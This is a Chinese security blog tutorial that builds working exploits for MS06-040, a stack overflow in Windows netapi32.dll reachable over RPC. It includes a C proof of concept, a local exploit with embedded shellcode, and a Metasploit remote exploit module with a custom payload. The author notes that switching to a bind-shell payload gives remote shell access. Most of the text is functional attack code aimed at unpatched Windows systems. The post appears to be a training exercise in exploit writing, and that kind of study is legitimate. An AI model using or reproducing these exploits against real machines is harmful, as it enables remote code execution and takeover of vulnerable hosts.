*本文原创作者：wooy0ung，本文属FreeBuf原创奖励计划，未经许可禁止转载
0x01 前言
MS06-040算是个比较老的洞了，在当年影响十分之广，基本上Microsoft大部分操作系统都受到了影响，威力不亚于17年爆出的”永恒之蓝”漏洞。漏洞成因是Windows中参与socket网络的netapi32.dll动态链接库里的一个导出函数NetpwPathCanonicalize()存在栈溢出，而且这个函数能够通过RPC远程调用。由于是栈溢出利用起来不算太复杂，正好用来实践编写metasploit的远程利用脚本。
0x02 前期准备
1. Windows XP Professional sp3(非必需，我因为VC6安装在这上面，只是用来编译POC)
2. Windows 2000 Professional sp0(其他系统版本可能需要重新调试，更高版本可能需要绕过部分安全机制)
3. Kali Linux x64(安装有metasploit framework latest)
4. 调试器：Ollydbg 1.10
5. 编译器: VC++ 6.0
6. 反编译器: IDA 6.8
7. 注意: 需要未打补丁的netapi32.dll，Windows 2000在C:\WINNT\system32目录下能找到，
或者用以下提供的dll，但远程exploit必须要带有未打补丁dll的系统。
相关下载：
链接:https://pan.baidu.com/s/1qZQ1vnY 密码:5stq
0x03 定位崩溃点
VC++ 6.0编译POC, 运行
#include"stdafx.h"
#include <windows.h>
typedef void (*MYPROC)(LPTSTR, char *, int, char *, long *, bool);
int main()
{
char path[0x320];
char can_path[0x440];
int maxbuf=0x440;
char prefix[0x100];
long pathtype=44;
HINSTANCE LibHandle;
MYPROC Trigger;
char dll[ ] = "./netapi32.dll";
char VulFunc[ ] = "NetpwPathCanonicalize";
LibHandle = LoadLibrary(dll);
Trigger = (MYPROC) GetProcAddress(LibHandle, VulFunc);
memset(path,0,sizeof(path));
memset(path,'a',sizeof(path)-2);
memset(prefix,0,sizeof(prefix));
memset(prefix,'b',sizeof(prefix)-2);
(Trigger)(path,can_path,maxbuf,prefix ,&pathtype,0);
FreeLibrary(LibHandle);
return 0;
}
程序崩溃掉, OD附加上去, EIP被”aaaa”填充
执行文件拖到OD, 单步来到call netapi32.NetpwPathCanonicalize, 再往下程序崩掉
跟进NetpwPathCanonicalize函数, 执行MSVCRT.wcscat, 当retn时程序再次崩溃
此处应该就是崩溃点, 在IDA定位到该函数
copy”bbbbbb…”串到栈上
“bbbbb…”串尾部拼接一个0x005C
继续拼接”aaaaa…”串, 覆盖返回地址
0x04 本地exploit
漏洞的成因是在prefix串的基础上拼接path串时没有长度检查，导致栈溢出。下面通过构造prefix、path串实现本地exploit。
观察在崩溃函数retn时, ecx指向缓冲区的开始。这样可以把shellcode布置在”bbbbbb….”串里, 用一条call/jmp ecx跳到栈上执行
// ms06_040_exp.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"
#include <windows.h>
typedef void (*MYPROC)(LPTSTR, char *, int, char *, long *, bool);
char shellcode[]=
"\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42\x08"
"\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03\x78\x3c"
"\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b\x34\xaf\x01"
"\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e\x08\x45\x78\x69"
"\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c\x6f\x8b\x7a\x1c\x01"
"\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x67\x20\x20\x01\x68\x79\x30\x75"
"\x6e\x68\x20\x77\x6f\x6f\x89\xe1\xfe\x49\x0b\x31\xc0\x51\x50\xff"
"\xd7"; // 弹框
int main()
{
char path[0x320];
char can_path[0x440];
int maxbuf=0x440;
char prefix[0x100];
long pathtype=44;
HINSTANCE LibHandle;
MYPROC Trigger;
char dll[] = "./netapi32.dll";
char VulFunc[] = "NetpwPathCanonicalize";
LibHandle = LoadLibrary(dll);
Trigger = (MYPROC) GetProcAddress(LibHandle, VulFunc);
memset(path,0,sizeof(path));
memset(path,0x90,sizeof(path)-2);
memset(prefix,0,sizeof(prefix));
memset(prefix,'a',sizeof(prefix)-2);
memcpy(prefix,shellcode,113);
path[0x318]=0xF9; // call ecx，可能需要调试确定
path[0x319]=0x52;
path[0x31A]=0x18;
path[0x31B]=0x75;
(Trigger)(path,can_path,maxbuf,prefix,&pathtype,0);
FreeLibrary(LibHandle);
return 0;
}
pwn~
0x05 远程exploit
很好，现在已经能够本地溢出NetpwPathCanonicalize()函数，下面我们利用metasploit提供的类库来写一份远程exp
##
# Author: wooy0ung
# Date: 2018/01/15
##
require 'msf/core'
module Metasploit3
CachedSize = 200
include Msf::Payload::Single
def initialize(info = {})
super(merge_info(info,
'Name' => 'Windows Warning Box',
'Description' => 'Only for Version under Windows 7',
'Author' => [ 'wooy0ung' ],
'Platform' => 'win',
'Arch' => ARCH_X86,
'Payload' =>
{
'Payload' =>
"\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42\x08"+
"\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03\x78\x3c"+
"\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b\x34\xaf\x01"+
"\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e\x08\x45\x78\x69"+
"\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c\x6f\x8b\x7a\x1c\x01"+
"\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x67\x20\x20\x01\x68\x79\x30\x75"+
"\x6e\x68\x20\x77\x6f\x6f\x89\xe1\xfe\x49\x0b\x31\xc0\x51\x50\xff"+
"\xd7"
}
))
end
end以上是一段弹出警告框的payload，新建一个文本贴入以上代码，保存为warning.rb。
##
# Author: wooy0ung
# Date: 2018/01/15
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Exploit::Remote::DCERPC
include Exploit::Remote::SMB::Client
def initialize(info = {})
super(update_info(info,
'Name' => "MS06-040 RPC Exploit",
'Description' => 'Only for Windows 2000 Professional sp0',
'Author' => [ 'wooy0ung' ],
'Platform' => "win",
'DefaultOptions' => {'EXITFUNC' => 'thread',},
'DefaultTarget' => 0,
'Targets' => [['Windows 2000 Professional sp0', {'Ret' => [0x318 , 0x74FB62C3] }]]))
register_options([OptString.new('SMBPIPE', [ true, "The pipe name to use (BROWSER, SRVSVC)", 'BROWSER']),], self.class)
end
def exploit
connect()
smb_login()
handle = dcerpc_handle('4b324fc8-1670-01d3-1278-5a47bf6ee188','3.0','ncacn_np',["\\#{datastore['SMBPIPE']}"])
dcerpc_bind(handle)
prefix = payload.encoded + make_nops(0x100 - payload.encoded.length - 2) + "\x00\x00"
path = make_nops(0x318) + [target['Ret'][1]].pack('V') +
"\x04\xD0\xFD\x7F" * 5 + # 可写地址(这里原本是崩溃函数传入的5个参数)
"\x66\x81\xEC\x30\x04" + # sub esp,430 (0x100 + 0x318 + 4 * 6 = 0x430 将esp指向payload起始)
"\x8B\xC4" + # mov eax, esp
"\xFF\xE4" + # jmp esp
"\x00\x00" # Unicode结束符
stub = NDR.long(rand(0xffffffff)) +
NDR.UnicodeConformantVaryingString('') +
NDR.UnicodeConformantVaryingStringPreBuilt(path) +
NDR.long(rand(250)+1) +
NDR.UnicodeConformantVaryingStringPreBuilt(prefix) +
NDR.long(rand(250)+1) +
NDR.long(0)
begin
dcerpc.call(0x1f, stub, false)
rescue Rex::Proto::DCERPC::Exceptions::NoResponse
rescue => e
if e.to_s !~ /STATUS_PIPE_DISCONNECTED/
raise e
end
end
handler
disconnect
end
end以上则是利用脚本，保存为ms06_040.rb，主要是构造shellcode(在path做ROP，跳到prefix中执行payload)，在Windows 2000下利用起来比较容易，不再作解释。
选择之前保存的exp和payload，设置好靶机ip，pwn~
当然，将普通弹框换成bind_shell的payload就可以拿到shell了~
0x06 后记
看了metasploit的exploits模块里MS06-040的利用脚本，发现这个洞一直影响到XP和Server 2003版本。因为主要是为了练习写metasploit框架的exp，所以就不继续延伸了。
*本文原创作者：wooy0ung，本文属FreeBuf原创奖励计划，未经许可禁止转载
来源：freebuf.com 2018-01-21 08:00:59 by: wooy0ung
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